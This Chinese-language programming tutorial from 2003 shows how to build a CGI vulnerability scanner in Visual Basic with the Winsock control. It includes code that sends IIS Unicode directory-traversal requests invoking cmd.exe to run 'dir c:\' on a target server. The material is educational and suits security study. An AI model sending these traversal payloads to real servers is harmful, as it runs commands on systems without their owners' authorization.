登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  利用鼠标键盘钩子截获密码
  利用鼠标键盘钩子截获密码
  如何将多个文件捆绑成一个可..
  如何将多个文件捆绑成一个可..
  内核级HOOK的几种实现与应用
  内核级HOOK的几种实现与应用
  书写基于内核的linux键盘纪录..
  书写基于内核的linux键盘纪录..
  CIH病毒原码
  CIH病毒原码
  编写进程/线程监视器
  编写进程/线程监视器
本站原创
  利用鼠标键盘钩子截获密码
  利用鼠标键盘钩子截获密码
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客编程
Winsock控件编写CGI扫描程序
发表日期:2003-10-14作者:eastdark[] 出处:  

1.TCP (Transfer Control Protocol:传输控制协议)基础

  数据控制传输协议允许创建和维护与远程计算机的连接。连接两台计算机就可彼此进行数据传输。如果创建客户应用程序,就必须知道服务器计算机名或者 IP 地址(RemoteHost 属性),还要知道进行“侦听”的端口(RemotePort 属性),然后调用 Connect 方法。

  如果创建服务器应用程序,就应设置一个收听端口(LocalPort 属性)并调用 Listen 方法。当客户计算机需要连接时就会发生 ConnectionRequest 事件。为了完成连接,可调用 ConnectionRequest 事件内的 Accept 方法。

  建立连接后,任何一方计算机都可以收发数据。为了发送数据,可调用 SendData 方法。当接收数据时会发生 DataArrival 事件。调用 DataArrival 事件内的 GetData 方法就可获取数据。

2.Winsock控件描述

  要创建一个cgi漏洞扫描程序,我们就需要使用Winsock控件,下面列出了Winsock控件的介绍。请把它看完,因为这是我们下一个步骤的前提条件。

Winsock控件的基本属性、方法、事件

属性

方法

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0<端口<65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态

Protocal | 使用TCP或UDP协议

Listen

Listen方法用于服务器程序,等待客户访问。

格式:Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式:Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式:Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格式:Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式:Winsock对象.close

事件

Close | 远程机器关闭连接时触发

Connect | 连接建立好,可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

 

Winsock的state属性

常数  值 描述

sckClosed 0   缺省值,关闭。

SckOpen 1  打开。

SckListening 2 侦听 

sckConnectionPending 3

连接挂起

sckResolvingHost 4

识别主机。 

sckHostResolved 5

已识别主机 

sckConnecting 6 

正在连接。

sckConnected 7 已连接。 

sckClosing 8 同级人员正在关闭连接。 

sckError  9    错误。

3.一个简单的实例

(1)新建工程,添加Winsock控件

(2)输入如下代码:

Private Sub Form_Load()

Msgbox str(Winsock1.LocalIP)   '显示本地IP

With Winsock1

.LocalPort = 32555 '定义本地端口,通过这一端口连接服务器

.RemoteHost = "127.0.0.1" '定义服务器的IP,也可以输入域名。

.RemotePort = 80 '要求连接的服务器端口,80为HTTP服务

.Connect '连接服务器

EndWith

End Sub

我们通过这一段很简单的代码,熟悉了一下Winsock连接服务器的过程。这个程序没有用到其他的属性和方法,旨在让你了解一下如何连接服务器。你可以试着用其它的属性和方法来使得他返回信息。

4.CGI漏洞扫描器工作原理

首先,我们用Winsock连接到远程的服务器的HTTP服务端口。接着发送GET 请求,这时,服务器将返回这个文件是否存在。如果不存在,那么在返回的信息里将包含"HTTP 404"的信息。说明不存在该漏洞。我们只需要通过判断DataArrival事件中得到的数据里有没有包含HTTP 404就可以了。在本程序中,我们将检查Unicode漏洞。我们可以通过下列请求来判断:

GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0

  

5.算法

一、单线程算法

  单线程算法即我们只创建一个Winsock控件,利用这一个Winsock控件完成扫描。这种方法速度较慢。但代码简单易懂。适合于入门。但单线程最大的弱点在于如何判断当前受到的是哪一个命令。利用单线程,很难得到确切的漏洞利用方法。但却能判断出对方是否存在漏洞。

二、多线程算法

  多线程算法即动态创建多个Winsock控件。这样可以大大加快扫描速度,并且如果定义相应的数组。比如,我们可以用Load Winsock(n)来动来创建一个Winsock控件。相应的有CGI(n)字符变量定义了一个HTTP请求,那么,在DataArrival事件中,我们就可以通过Index来判断当前正在扫描哪个漏洞。比如:

    DIM CGI() as String

CGI(1)="Get..."

...

CGI(20)=.....

    For I=1 to 20

    Load Winsock(I)

    Winsock(I).Remote....

    ....

     Winsock(I).Connect

  Next I

.....

    Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long,Index as Integer)

    ...

    Msgbox "发现漏洞 请求:" & CGI(index)

    End Sub

这就是多线程扫描的一个例子。利用Load Winsock(I)创建了1~20个控件,对应了1~20个CGI请求。具体的例子可以看我编写的Eastscaner(端口扫描器)的源代码。里面就可以动态创建了Winsock控件。

6.代码分析

 

Private Sub Form_Load()

Dim CGI() as String

'定义CGI漏洞列表

CGI(1)="GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(2)="GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(3)="GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(4)="GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

CGI(5)="GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0"

  

'控件的名字为 Winsock1

With Winsock1

.RemoteHost= "127.0.0.1" '这里设置对方IP

.RemotePort = 80 '连接的端口号。

End With

For I=1 to 5

      IF winsock1.state=0 then Winsock1.Connect

      Do while Winsock1.State<>7 '判断有没有连接上

                  Doevents   '这是必需的,让当前进程转给其他程序

      Loop

      'Winsock已经连接到远程主机

      Winsock.senddata CGI(I) & VbCrLf '发送GET请求

Next I

End Sub

 

Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long)

Dim strData As String

Winsock1.GetData strData  '得到字符

If instr(1,strData,"HTTP 404")=0 then Msgbox "发现Unicode漏洞" '判断是否有HTTP404

End Sub

7.小结

  通过实例,我们可以看到Winsock控件是如何利用的。你可以扩展本程序的功能。比如增加更多的CGI请求,增添个TEXT和COMMAND控件,这样可以在运行时自定义对方IP。总之,一定要自己动手。这也是学习编程的最好方法之一。由于水平有限,不足之处请多多指教!

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 Winsock控件编写CGI扫描程序
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00505